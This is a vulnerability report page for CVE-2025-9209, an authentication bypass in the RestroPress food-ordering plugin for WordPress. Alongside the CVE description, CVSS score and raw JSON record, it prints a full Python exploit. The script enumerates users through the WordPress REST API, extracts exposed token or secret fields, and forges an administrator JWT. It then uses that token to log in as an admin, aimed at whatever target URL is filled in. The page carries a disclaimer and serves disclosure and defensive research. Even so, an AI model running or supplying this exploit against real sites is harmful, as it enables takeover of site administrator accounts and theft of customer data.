Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-9209 CVSS 9.8 CRITICAL

CVE-2025-9209

Published: 2025-10-03 12:15:47
Last Modified: 2026-04-15 00:35:42

Description

The RestroPress – Online Food Ordering System plugin for WordPress is vulnerable to Authentication Bypass in versions 3.0.0 to 3.1.9.2. This is due to the plugin exposing user private tokens and API data via the /wp-json/wp/v2/users REST API endpoint. This makes it possible for unauthenticated attackers to forge JWT tokens for other users, including administrators, and authenticate as them.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

RestroPress >= 3.0.0
RestroPress < 3.1.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9209 PoC - RestroPress Authentication Bypass # Exploits exposed user private tokens via WP REST API to forge JWT tokens import requests import jwt import json TARGET_URL = "http://target-wordpress-site.com" # Step 1: Query the WordPress REST API to enumerate users and extract sensitive tokens def extract_user_tokens(target_url): """Extract private tokens and API data from exposed WP REST API endpoint""" api_endpoint = f"{target_url}/wp-json/wp/v2/users" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: users = response.json() print(f"[+] Found {len(users)} user(s) exposed via REST API") for user in users: print(f"\n[+] User ID: {user.get('id')}") print(f" Name: {user.get('name')}") print(f" Slug: {user.get('slug')}") # RestroPress exposes sensitive meta fields in user object meta = user.get('meta', {}) if meta: print(f" Meta keys: {list(meta.keys())}") # Check for RestroPress-specific token fields for key, value in user.items(): if 'token' in key.lower() or 'secret' in key.lower() or 'key' in key.lower(): print(f" [!!!] Sensitive field '{key}': {value}") return users else: print(f"[-] Failed to access API. Status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Step 2: Forge JWT token using extracted secret def forge_jwt_token(user_data, secret_key): """Forge a JWT token to impersonate the target user""" payload = { "iss": TARGET_URL, "iat": 1696377600, "exp": 9999999999, "user_id": user_data.get('id'), "username": user_data.get('slug'), "email": user_data.get('email', ''), "roles": ["administrator"] # Forge admin role } # Sign JWT with extracted secret using HS256 token = jwt.encode(payload, secret_key, algorithm="HS256") print(f"[+] Forged JWT token: {token}") return token # Step 3: Use forged token to authenticate as admin def authenticate_with_token(target_url, token): """Authenticate to WordPress using the forged JWT token""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Verify authentication by accessing admin endpoint admin_endpoint = f"{target_url}/wp-json/wp/v2/users/me" response = requests.get(admin_endpoint, headers=headers, timeout=10) if response.status_code == 200: user_info = response.json() print(f"[+] SUCCESS! Authenticated as: {user_info.get('name')}") print(f" Roles: {user_info.get('roles', [])}") return True else: print(f"[-] Authentication failed. Status: {response.status_code}") return False # Main exploit execution if __name__ == "__main__": print("[*] CVE-2025-9209 - RestroPress Authentication Bypass PoC") print("[*] WARNING: For authorized security testing only!\n") # Extract user tokens users = extract_user_tokens(TARGET_URL) if users: # Target the first user (usually admin with ID=1) target_user = users[0] # Extract the secret key (field name may vary based on plugin version) secret_key = target_user.get('restropress_token', '') or \ target_user.get('meta', {}).get('restropress_token', '') or \ target_user.get('jwt_secret', '') if secret_key: # Forge and use JWT token forged_token = forge_jwt_token(target_user, secret_key) authenticate_with_token(TARGET_URL, forged_token) else: print("[-] Could not extract secret key from user data")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9209", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:47.240", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RestroPress – Online Food Ordering System plugin for WordPress is vulnerable to Authentication Bypass in versions 3.0.0 to 3.1.9.2. This is due to the plugin exposing user private tokens and API data via the /wp-json/wp/v2/users REST API endpoint. This makes it possible for unauthenticated attackers to forge JWT tokens for other users, including administrators, and authenticate as them."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://wordpress.org/plugins/restropress/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/359833dd-de3c-48ea-8eef-06588a590da2?source=cve", "source": "[email protected]"}]}}